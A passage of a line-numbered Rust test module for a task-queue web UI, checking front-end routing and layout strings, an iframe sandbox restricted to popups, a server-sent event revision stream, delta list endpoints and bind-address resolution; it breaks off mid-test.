14968 let start = APP_JS
14970 .find("function noticeLink(")
14971 .expect("noticeLink exists");
14972 let body = &APP_JS[start..];
14973 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
14974 assert!(
14975 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
14976 "a task notice's link must target the task page"
14977 );
14978 assert!(
14979 !body.contains("#/queue/"),
14980 "regression: the task link must not go back to the Backlog route"
14981 );
14982 assert!(
14983 APP_JS.contains(
14984 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
14985 ),
14986 "`#/tasks/<id>` must parse into the task route"
14987 );
14988
14989 assert!(
14991 APP_JS.contains(
14992 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
14993 ),
14994 "`#/queue/<id>` must parse into a route carrying that id"
14995 );
14996
14997 assert!(APP_JS.contains("state.queueFocus = route.id;"));
15001 assert!(APP_JS.contains("function consumeQueueFocus()"));
15002 assert!(APP_JS.contains("jumpToTask(id)"));
15003 }
15004
15005 #[test]
15008 fn chat_rows_put_the_title_alone_on_the_first_line() {
15009 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
15010 assert!(APP_CSS.contains(
15011 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
15012 ));
15013 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
15014 assert!(APP_JS.contains("class: \"badge talk-unread\""));
15015 }
15016
15017 #[test]
15018 fn run_rows_put_the_title_alone_on_the_first_line() {
15019 assert!(
15020 APP_CSS.contains(
15021 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
15022 )
15023 );
15024 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
15025 assert!(APP_JS.contains("class: \"card run-card\""));
15026 assert!(APP_JS.contains("class: \"repo run-id\""));
15027 }
15028
15029 #[test]
15033 fn wide_screens_show_list_and_preview_side_by_side() {
15034 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
15036 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
15037 assert!(APP_CSS.contains("main[data-split]"));
15038 assert!(APP_CSS.contains("body[data-split]"));
15039
15040 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
15042 assert!(
15043 APP_JS.contains(
15044 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15045 )
15046 );
15047 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15048 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15049 assert!(INDEX_HTML.contains("id=\"split-empty\""));
15050
15051 assert!(APP_JS.contains("function markSelected() {"));
15053 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15054 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15055 assert!(
15057 APP_CSS.contains(
15058 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15059 )
15060 );
15061
15062 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15064 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15065 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15066 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15067
15068 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15072 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15073 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15074 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15075
15076 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15078 }
15079
15080 #[test]
15081 fn panel_sandbox_carries_exactly_popups() {
15082 let needle = "sandbox: \"";
15083 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15084 assert_eq!(
15085 matches.len(),
15086 1,
15087 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15088 );
15089 let start = matches[0].0 + needle.len();
15090 let end = APP_JS[start..]
15091 .find('"')
15092 .expect("sandbox attribute value must be terminated by a closing quote");
15093 let val = &APP_JS[start..start + end];
15094 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15095 let expected: std::collections::BTreeSet<&str> =
15096 ["allow-popups", "allow-popups-to-escape-sandbox"]
15097 .into_iter()
15098 .collect();
15099 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15100 assert!(
15101 !tokens.contains("allow-scripts"),
15102 "allow-scripts must never be present in sandbox"
15103 );
15104 assert!(
15105 !tokens.contains("allow-same-origin"),
15106 "allow-same-origin must never be present in sandbox"
15107 );
15108 }
15109
15110 #[test]
15111 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15112 assert!(
15121 APP_JS.contains(
15122 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
15123 ),
15124 "the search-clearing branch must run before state.queueFocus is cleared, or the \
15125 recursive renderQueue() call has nothing left to jump to"
15126 );
15127 assert!(
15128 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15129 "state.queueFocus must be cleared only once the jump has landed, so a card that \
15130 arrives later still gets it"
15131 );
15132 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15133 assert!(APP_JS.contains("is not in the current Backlog."));
15134 assert!(APP_JS.contains("li.card[data-task-id=\""));
15135 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15136 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15137 assert!(APP_CSS.contains(".card-permalink"));
15138 assert!(APP_CSS.contains(".queue-focus-status"));
15139 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15140 }
15141
15142 #[test]
15143 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15144 assert!(
15152 APP_JS.contains(
15153 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15154 ),
15155 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15156 );
15157 }
15158
15159 #[test]
15160 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15161 assert!(
15162 APP_JS.contains("round.verified_head !== round.head"),
15163 "a round that verified an earlier commit must be visibly distinct from one that \
15164 verified the head reviewers are looking at now"
15165 );
15166 assert!(
15167 APP_JS.contains("round.verified_at"),
15168 "when a check ran must be on the wire, not just which commit"
15169 );
15170 assert!(
15171 APP_JS.contains("resource_blocked"),
15172 "a command magi never got to run (shared build cache contention) must not render \
15173 the same as a command that ran and failed"
15174 );
15175 }
15176
15177 #[test]
15178 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15179 assert!(
15187 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15188 "every KPI tile built through statusTile() must route its click through \
15189 openRunsFiltered, the single place that sets the Runs filter"
15190 );
15191 for (label, status) in [
15192 ("Merged", "merged"),
15193 ("Ready", "ready"),
15194 ("Blocked", "blocked"),
15195 ("Stalled", "stalled"),
15196 ] {
15197 let call = format!("statusTile(\"{label}\", t.{status}, ");
15198 assert!(
15199 APP_JS.contains(&call),
15200 "expected the {label} KPI tile built via {call}..."
15201 );
15202 assert!(
15203 APP_JS.contains(&format!("status === \"{status}\"")),
15204 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15205 compare a run against, not one invented only for the stats tile"
15206 );
15207 }
15208 assert!(
15209 APP_JS.contains("function openRunsFiltered(status)"),
15210 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15211 );
15212 assert!(
15213 APP_JS.contains(
15214 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15215 ),
15216 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15217 );
15218 assert!(
15226 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
15227 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15228 hashchange event that may never fire"
15229 );
15230 }
15231
15232 #[test]
15233 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15234 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15240 assert!(
15241 APP_JS.contains(
15242 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
15243 ),
15244 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15245 guard for an incompatible tree section"
15246 );
15247 }
15248
15249 #[test]
15250 fn every_stats_queue_tile_names_a_real_queue_section() {
15251 assert!(
15257 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15258 "every queue tile built through sectionTile() must route its click through \
15259 openQueueSectionFocus"
15260 );
15261 for key in ["upnext", "running", "done", "held", "blocked"] {
15262 assert!(
15263 APP_JS.contains(&format!("{{ key: \"{key}\",")),
15264 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15265 );
15266 }
15267 for line in [
15271 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15272 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15273 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15274 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15275 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15276 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15277 ] {
15278 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15279 }
15280 }
15281
15282 #[test]
15283 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15284 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15291 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15292 assert!(APP_JS.contains("function revealQueueSection(details)"));
15293 assert!(
15294 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
15295 "renderQueue() must consume both focus channels on every pass"
15296 );
15297 assert!(
15298 APP_JS.contains(
15299 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
15300 ),
15301 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15302 the recursive renderQueue() call has nothing left to reveal"
15303 );
15304 assert!(
15305 APP_JS.contains(
15306 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
15307 ),
15308 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15309 );
15310 assert!(
15318 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
15319 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15320 hashchange event that may never fire"
15321 );
15322 }
15323
15324 #[tokio::test]
15325 async fn the_change_stream_announces_the_current_revisions_on_connect() {
15326 let f = Fixture::start().await;
15327
15328 let mut socket = tokio::net::TcpStream::connect(f.addr)
15329 .await
15330 .expect("connect");
15331 socket
15332 .write_all(
15333 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15334 )
15335 .await
15336 .expect("write request");
15337
15338 let mut seen = String::new();
15341 let mut buf = [0u8; 1024];
15342 while !seen.contains("event: change") {
15343 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15344 .await
15345 .expect("the stream must speak within five seconds")
15346 .expect("read");
15347 assert!(read > 0, "the server closed the change stream: {seen}");
15348 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15349 }
15350
15351 assert!(
15352 seen.to_lowercase()
15353 .contains("content-type: text/event-stream"),
15354 "the browser only reconnects automatically for a real SSE stream: {seen}"
15355 );
15356 let data = seen
15357 .lines()
15358 .find_map(|l| l.strip_prefix("data:"))
15359 .expect("a data line");
15360 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15361 assert!(
15362 payload["queue_rev"].is_u64()
15363 && payload["runs_rev"].is_u64()
15364 && payload["questions_rev"].is_u64()
15365 && payload["talks_rev"].is_u64()
15366 && payload["notifications_rev"].is_u64()
15367 && payload["loop_rev"].is_u64(),
15368 "the client needs one revision per store to know what to refetch, \
15369 and `talks_rev` is the only notification a standing talk gets - a \
15370 phone whose radio slept through a turn learns about it here, as \
15371 does one whose operator started the loop from another device: \
15372 {payload}"
15373 );
15374
15375 let health = f.get("/api/health").await.json();
15382 for key in [
15383 "queue_rev",
15384 "runs_rev",
15385 "questions_rev",
15386 "talks_rev",
15387 "notifications_rev",
15388 "loop_rev",
15389 ] {
15390 assert!(
15391 health[key].is_u64(),
15392 "health is the change stream's fallback and is missing `{key}`: {health}"
15393 );
15394 }
15395 }
15396
15397 #[tokio::test]
15398 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15399 let f = Fixture::start().await;
15400 let before = f.get("/api/health").await.json()["talks_rev"]
15401 .as_u64()
15402 .expect("talks_rev");
15403
15404 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15405 std::thread::sleep(Duration::from_millis(10));
15406 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15407 on_disk.turns.push(crate::talk::Turn {
15408 breaks: Some(Vec::new()),
15409 messages: Vec::new(),
15410 posted_by: None,
15411 who: crate::talk::Who::Operator,
15412 body: "a new turn".to_owned(),
15413 at: Timestamp::now(),
15414 attachments: Vec::new(),
15415 usage: None,
15416 });
15417 f.talks().put(&mut on_disk).expect("record a turn");
15418
15419 let after = f.get("/api/health").await.json()["talks_rev"]
15420 .as_u64()
15421 .expect("talks_rev");
15422 assert_ne!(
15423 before, after,
15424 "a phone must be able to notice a talk's reply without polling every store"
15425 );
15426 }
15427
15428 #[test]
15429 fn bind_reads_back_from_the_spelling_the_cli_prints() {
15430 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
15434 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
15435 }
15436 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
15437 assert!("everywhere".parse::<Bind>().is_err());
15438 }
15439
15440 #[test]
15441 fn an_explicit_bind_address_is_taken_verbatim() {
15442 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
15443
15444 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
15445
15446 assert_eq!(addr, asked);
15447 assert!(
15448 warning.is_none(),
15449 "an operator who named an address gets no lecture"
15450 );
15451 }
15452
15453 #[test]
15454 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
15455 let (addr, warning) = resolve_bind(&Bind::Auto);
15456
15457 match addr {
15464 IpAddr::V4(ip) if is_tailnet(&ip) => {
15465 assert!(warning.is_none(), "a tailnet address needs no warning");
15466 }
15467 other => {
15468 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
15469 let warning = warning.expect("a fallback has to explain itself");
15470 assert!(
15471 warning.contains("127.0.0.1") && warning.contains("local-only"),
15472 "the warning says what happened and what it costs: {warning}"
15473 );
15474 }
15475 }
15476 }
15477
15478 #[test]
15479 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
15480 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
15484 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
15485 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
15486 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
15487 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
15488 }
15489
15490 #[test]
15491 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
15492 let ids = vec![
15493 "20260902-140501-aaaa".to_owned(),
15494 "20260902-140502-aabb".to_owned(),
15495 ];
15496
15497 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
15498 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
15499 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
15500
15501 assert_eq!(missing.status, StatusCode::NOT_FOUND);
15502 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
15503 assert_eq!(short, "20260902-140502-aabb");
15504 }
15505 #[tokio::test]
15506 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
15507 let fx = Fixture::start().await;
15513 let id = panel(
15514 &fx,
15515 "<img src=\"shot.png\">",
15516 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
15517 );
15518
15519 let doc = fx
15521 .get(&format!("/api/questions/{id}/panel/index.html"))
15522 .await;
15523 assert_eq!(doc.status, 200, "{}", doc.body);
15524 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
15525
15526 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
15527 assert_eq!(sibling.status, 200, "{}", sibling.body);
15528 assert_eq!(sibling.header("content-type"), Some("image/png"));
15529 assert_eq!(
15530 sibling.header("content-security-policy"),
15531 Some(PANEL_CSP),
15532 "the sibling route must carry the same policy as the asset route"
15533 );
15534
15535 assert_eq!(
15538 fx.head(&format!("/api/questions/{id}/panel")).await.status,
15539 200
15540 );
15541 }
15542
15543 #[test]
15544 fn delta_stamps_cover_add_update_remove_and_noop() {
15545 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
15546 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
15547 let delta = diff_stamps(&before, &after, 42);
15548 assert_eq!(delta.base, 42);
15549 assert_eq!(delta.changed, ["b", "c"]);
15550 assert_eq!(delta.removed, ["a"]);
15551 let same = diff_stamps(&after, &after, 43);
15552 assert!(same.changed.is_empty() && same.removed.is_empty());
15553 assert_ne!(stamps_revision(&before), stamps_revision(&after));
15554 let nanos: Stamps = [("b".into(), (2, 20))].into();
15555 let same_ms: Stamps = [("b".into(), (3, 20))].into();
15556 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
15557 assert_eq!(stamps_revision(&Stamps::new()), 0);
15558 }
15559
15560 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
15561 std::fs::create_dir_all(home.join("runs")).unwrap();
15562 Arc::new(Ui::new(
15563 Queue::at(home.join("queue")),
15564 Questions::at(home.join("questions")),
15565 Talks::at(home.join("talks")),
15566 home.join("runs"),
15567 home.to_owned(),
15568 PathBuf::from("/repo/magi"),
15569 ))
15570 }
15571
15572 #[tokio::test]
15573 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
15574 let home = TempDir::new().unwrap();
15575 let ui = delta_test_ui(home.path());
15576 let mut task = Task::new(
15577 "stream task".into(),
15578 "text".into(),
15579 PathBuf::from("/repo"),
15580 Source::Human,
15581 );
15582 ui.queue.put(&mut task).unwrap();
15583 let response = events(State(ui.clone())).await.into_response();
15584 let mut stream = response.into_body().into_data_stream();
15585 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
15586 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
15587 .await
15588 .unwrap()
15589 .unwrap()
15590 .unwrap();
15591 let text = String::from_utf8(chunk.to_vec()).unwrap();
15592 let data = text
15593 .lines()
15594 .find_map(|line| {
15595 line.strip_prefix("data: ")
15596 .or_else(|| line.strip_prefix("data:"))
15597 })
15598 .unwrap();
15599 serde_json::from_str(data).unwrap()
15600 }
15601 let initial = change(&mut stream).await;
15602 assert!(initial.get("queue_delta").is_none());
15603 task.instruction.push_str(" changed");
15604 ui.queue.put(&mut task).unwrap();
15605 let updated = change(&mut stream).await;
15606 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
15607 assert_eq!(
15608 updated["queue_delta"]["changed"],
15609 serde_json::json!([task.id])
15610 );
15611 assert_eq!(
15612 updated["queue_rev"].as_u64(),
15613 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
15614 );
15615 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
15616 let removed = change(&mut stream).await;
15617 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
15618 assert_eq!(
15619 removed["queue_delta"]["removed"],
15620 serde_json::json!([task.id])
15621 );
15622 }
15623
15624 #[tokio::test]
15625 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
15626 let home = TempDir::new().unwrap();
15627 let ui = delta_test_ui(home.path());
15628 let queue = ui.queue.clone();
15629 let query = |ids: Option<&str>| {
15630 Query(ListQuery {
15631 limit: Some(2),
15632 ids: ids.map(str::to_owned),
15633 })
15634 };
15635 let mut root = Task::new(
15636 "root".into(),
15637 "instruction".into(),
15638 PathBuf::from("/repo"),
15639 Source::Human,
15640 );
15641 queue.put(&mut root).unwrap();
15642 let mut blocked = Task::new(
15643 "blocked".into(),
15644 "instruction".into(),
15645 PathBuf::from("/repo"),
15646 Source::Human,
15647 );
15648 blocked.block(vec![root.id.clone()], None);
15649 queue.put(&mut blocked).unwrap();
15650 let whole =
15651 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
15652 .unwrap();
15653 let subset = serde_json::to_value(
15654 queue_list(State(ui.clone()), query(Some(&root.id)))
15655 .await
15656 .unwrap()
15657 .0,
15658 )
15659 .unwrap();
15660 assert_eq!(whole, subset, "requested root plus its blocked dependent");
15661 let blockers = serde_json::to_value(
15662 queue_list(State(ui.clone()), query(Some("")))
15663 .await
15664 .unwrap()
15665 .0,
15666 )
15667 .unwrap();
15668 assert_eq!(blockers.as_array().unwrap().len(), 1);
15669 assert_eq!(blockers[0]["id"], blocked.id);
15670 assert_eq!(
15671 blockers[0]["waits_on"],
15672 whole
15673 .as_array()
15674 .unwrap()
15675 .iter()
15676 .find(|row| row["id"] == blocked.id)
15677 .unwrap()["waits_on"]
15678 );
15679
15680 for id in [
15681 "20260902-140501-aaaa",
15682 "20260902-140502-bbbb",
15683 "20260902-140503-cccc",
15684 ] {
15685 write_run(&ui.runs, id, RunStatus::Merged);
15686 }
15687 let old = serde_json::to_value(
15688 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
15689 .await
15690 .unwrap()
15691 .0,
15692 )
15693 .unwrap();
15694 assert!(
15695 old.as_array().unwrap().is_empty(),
15696 "older updates must not enter the window"
15697 );
15698 let newest = serde_json::to_value(
15699 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15700 .await
15701 .unwrap()
15702 .0,
15703 )
15704 .unwrap();
15705 assert_eq!(newest.as_array().unwrap().len(), 1);
15706 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15707
15708 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15709 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
15710 let talks = serde_json::to_value(
15711 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15712 .await
15713 .unwrap()
15714 .0,
15715 )
15716 .unwrap();
15717 assert_eq!(talks.as_array().unwrap().len(), 1);
15718 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15719 assert_eq!(
15720 serde_json::to_value(
15721 talks_list(State(ui.clone()), query(Some("")))
15722 .await
15723 .unwrap()
15724 .0
15725 )
15726 .unwrap(),
15727 serde_json::json!([])
15728 );
15729 }
15730
15731 #[tokio::test]
15732 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15733 async fn delta_payload_benchmark() {
15734 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15735 let ui = delta_test_ui(&home);
15736 let query = |ids: Option<String>| {
15737 Query(ListQuery {
15738 limit: Some(50),
15739 ids,
15740 })
15741 };
15742 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15743 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15744 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15745 let queue_id = queue
15746 .iter()
15747 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15748 .unwrap_or(&queue[0])
15749 .task
15750 .id
15751 .clone();
15752 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15753 .await
15754 .unwrap()
15755 .0;
15756 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15757 .await
15758 .unwrap()
15759 .0;
15760 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15761 .await
15762 .unwrap()
15763 .0;
15764 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15765 eprintln!(
15766 "DELTA_PAYLOAD {}",
15767 serde_json::json!({
15768 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15769 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15770 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15771 "counts": [queue.len(), runs.len(), talks.len()],
15772 "blocked": queue_delta.len() - 1,
15773 })
15774 );
15775 }
15776
15777 #[test]
15778 fn runs_revision_moves_when_deleting_an_older_run() {
15779 let temp = TempDir::new().expect("tempdir");
15780 let runs = temp.path().join("runs");
15781 std::fs::create_dir_all(&runs).expect("create runs dir");
15782
15783 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15784
15785 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15786 std::thread::sleep(Duration::from_millis(10));
15787 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15788
15789 let rev_before = runs_revision(&runs);
15790 assert!(rev_before > 0);
15791
15792 let old_dir = runs.join("20260901-100000-old1");
15793 std::fs::remove_dir_all(&old_dir).expect("remove old run");
15794
15795 let rev_after = runs_revision(&runs);
15796 assert_ne!(
15797 rev_before, rev_after,
15798 "deleting an older run must change the revision so other clients see the deletion"
15799 );
15800 }
15801
15802 fn write_state(runs: &FsPath, state: &RunState) {
15807 let dir = runs.join(&state.id);
15808 std::fs::create_dir_all(&dir).expect("run dir");
15809 std::fs::write(
15810 dir.join("run.json"),
15811 serde_json::to_string_pretty(state).expect("serialize run"),
15812 )
15813 .expect("write run.json");
15814 }
15815
15816 #[test]
15821 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15822 let temp = TempDir::new().expect("tempdir");
15823 let runs = temp.path().join("runs");
15824 std::fs::create_dir_all(&runs).expect("create runs dir");
15825 let mut state = RunState::new(
15826 PathBuf::from("/repo/magi"),
15827 "main".to_owned(),
15828 "0123456789abcdef".to_owned(),
15829 "task".to_owned(),
15830 Config::default(),
15831 );
15832 state.id = "20260902-100000-c0de".to_owned();
15833 write_state(&runs, &state);
15834
15835 let rev_idle = runs_revision(&runs);
15836 std::thread::sleep(Duration::from_millis(10));
15837 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15838 write_state(&runs, &state);
15839 let rev_started = runs_revision(&runs);
15840 assert_ne!(
15841 rev_idle, rev_started,
15842 "a seat starting must move the revision"
15843 );
15844
15845 std::thread::sleep(Duration::from_millis(10));
15846 state.seat_finished("judge-1");
15847 write_state(&runs, &state);
15848 let rev_finished = runs_revision(&runs);
15849 assert_ne!(
15850 rev_started, rev_finished,
15851 "and clearing it again must move the revision a second time"
15852 );
15853 }
15854
15855 #[tokio::test]
15856 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15857 let fx = Fixture::start().await;
15862 let q = fx.queue();
15863
15864 let mut t = Task::new(
15865 "Task".to_owned(),
15866 "Instruction".to_owned(),
15867 PathBuf::from("/repo"),
15868 Source::Human,
15869 );
15870 t.block(
15871 vec!["20260101-000000-dead".to_owned()],
15872 Some("waiting on Task 1".to_owned()),
15873 );
15874 t.answers.push(crate::queue::AnsweredQuestion {
15875 question: "Which backend?".to_owned(),
15876 answer: "SQLite".to_owned(),
15877 });
15878 q.put(&mut t).expect("put t");
15879
15880 let res = fx.get("/api/queue").await;
15881 assert_eq!(res.status, 200);
15882 let list = res.json();
15883 let view = list
15884 .as_array()
15885 .expect("array")
15886 .iter()
15887 .find(|v| v["id"] == t.id)
15888 .expect("task in list");
15889 assert_eq!(view["status_str"], "blocked");
15890 assert_eq!(
15891 view["blocked_by"],
15892 serde_json::json!(["20260101-000000-dead"])
15893 );
15894 assert_eq!(view["block_reason"], "waiting on Task 1");
15895 assert_eq!(view["answers"][0]["question"], "Which backend?");
15896 assert_eq!(view["answers"][0]["answer"], "SQLite");
15897
15898 let res = fx
15902 .post(&format!("/api/queue/{}/hold", t.short()), None)
15903 .await;
15904 assert_eq!(res.status, 200);
15905 let held = res.json();
15906 assert_eq!(held["status_str"], "held");
15907 assert_eq!(held["blocked_by"], serde_json::json!([]));
15908 assert!(held["block_reason"].is_null());
15909 assert_eq!(held["answers"][0]["answer"], "SQLite");
15910 }
15911
15912 #[tokio::test]
15913 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15914 let fx = Fixture::start().await;
15915 let q = fx.queue();
15916 let mk = |title: &str| {
15917 Task::new(
15918 title.to_owned(),
15919 "Instruction".to_owned(),
15920 PathBuf::from("/repo"),
15921 Source::Human,
15922 )
15923 };
15924 let mut root = mk("root");
15925 root.hold_manual(Some("waiting".to_owned()));
15926 q.put(&mut root).unwrap();
15927 let mut mid = mk("mid");
15928 mid.block(vec![root.id.clone()], None);
15929 q.put(&mut mid).unwrap();
15930 let mut leaf = mk("leaf");
15931 leaf.block(vec![mid.id.clone()], None);
15932 q.put(&mut leaf).unwrap();
15933
15934 let list = fx.get("/api/queue").await.json();
